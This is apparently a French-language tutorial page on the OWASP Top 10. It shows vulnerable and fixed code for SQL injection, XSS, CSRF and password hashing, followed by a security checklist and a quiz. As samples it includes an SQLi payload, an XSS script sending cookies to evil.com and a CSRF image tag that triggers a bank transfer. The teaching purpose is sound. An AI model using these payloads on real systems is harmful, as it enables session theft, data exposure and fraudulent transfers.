Les Dangers du Web 🚨
L'OWASP (Open Web Application Security Project) publie chaque année le Top 10 des vulnérabilités les plus dangereuses. Connaître ces failles peut sauver ton app ! 🔐
💉 Injection SQL (SQLi)
🚨 Le Danger
L'attaquant insère du code SQL malveillant dans vos requêtes !
// CODE VULNÉRABLE ❌ String query = "SELECT * FROM users WHERE username = '" + username + "'"; // Si l'attaquant entre : admin' OR '1'='1 // La requête devient : // SELECT * FROM users WHERE username = 'admin' OR '1'='1' // → Retourne TOUS les users ! 😱
✅ La Solution : PreparedStatement
// CODE SÉCURISÉ ✅
PreparedStatement ps = conn.prepareStatement(
"SELECT * FROM users WHERE username = ?"
);
ps.setString(1, username); // Échappement automatique
ResultSet rs = ps.executeQuery();
🎭 Cross-Site Scripting (XSS)
🚨 Le Danger
Injecter du JavaScript malveillant dans une page web.
// Attaquant poste un commentaire :
<script>
document.location='http://evil.com/steal?cookie='+document.cookie;
</script>
// Si affiché tel quel → cookies volés ! 🍪
✅ La Solution : Échapper HTML
// PHP : htmlspecialchars()
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
// JavaScript : textContent (pas innerHTML)
element.textContent = userInput; // ✅ Sûr
element.innerHTML = userInput; // ❌ Dangereux
// React échappe automatiquement ! ✅
<div>{userInput}</div>
🔄 Cross-Site Request Forgery (CSRF)
🚨 Le Scénario
Tu es connecté à ta banque. Tu visites un site malveillant qui contient :
<img src="https://banque.com/transfer?to=hacker&amount=1000" /> // Ton navigateur envoie automatiquement tes cookies de session ! 💸
✅ La Solution : CSRF Tokens
// Backend génère un token unique
<form>
<input type="hidden" name="csrf_token" value="abc123xyz" />
</form>
// Backend vérifie le token
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF attack detected!');
}
🔐 Authentification Cassée
Mauvaises Pratiques Communes :
- ❌ Mots de passe stockés en clair
- ❌ Sessions qui n'expirent jamais
- ❌ Pas de 2FA (authentification à 2 facteurs)
- ❌ Token JWT sans expiration
✅ Bonnes Pratiques :
// Hasher les mots de passe avec bcrypt
$hash = password_hash($password, PASSWORD_BCRYPT);
// Vérifier
if (password_verify($input, $hash)) {
// OK
}
📋 OWASP Top 10 Complet (2021)
#1 Broken Access Control
Accès non autorisé à des ressources
#2 Cryptographic Failures
Données sensibles exposées
#3 Injection
SQL, NoSQL, OS command injection
#4 Insecure Design
Conception sans sécurité
#5 Security Misconfiguration
Mauvaise configuration
#6 Vulnerable Components
Dépendances non à jour
#7 Auth Failures
Authentification faible
#8 Data Integrity Failures
Données non vérifiées
#9 Logging Failures
Pas de logs d'incidents
#10 SSRF
Server-Side Request Forgery
✅ Checklist Sécurité Rapide
Backend
- ☑️ PreparedStatements pour SQL
- ☑️ Hash + salt pour passwords
- ☑️ HTTPS obligatoire
- ☑️ CORS configuré
- ☑️ Rate limiting activé
- ☑️ JWT avec expiration
Frontend
- ☑️ Échapper tout input utilisateur
- ☑️ CSRF tokens sur formulaires
- ☑️ Valider côté client ET serveur
- ☑️ Content Security Policy
- ☑️ Dependencies à jour (npm audit)
- ☑️ Pas de secrets dans le code
🧪 Démo Interactive : XSS
❌ Version Vulnérable
⚠️ Essaie de taper : <script>alert('XSS!')</script>
✅ Version Sécurisée
✅ Le HTML est échappé automatiquement !
💡 Leçon :
Toujours échapper l'input utilisateur avant de l'afficher ! React le fait par défaut avec les accolades {}.
🎮 Quiz Interactif !
Réponds aux questions et apprends en t'amusant !
💡 Feedback immédiat après chaque réponse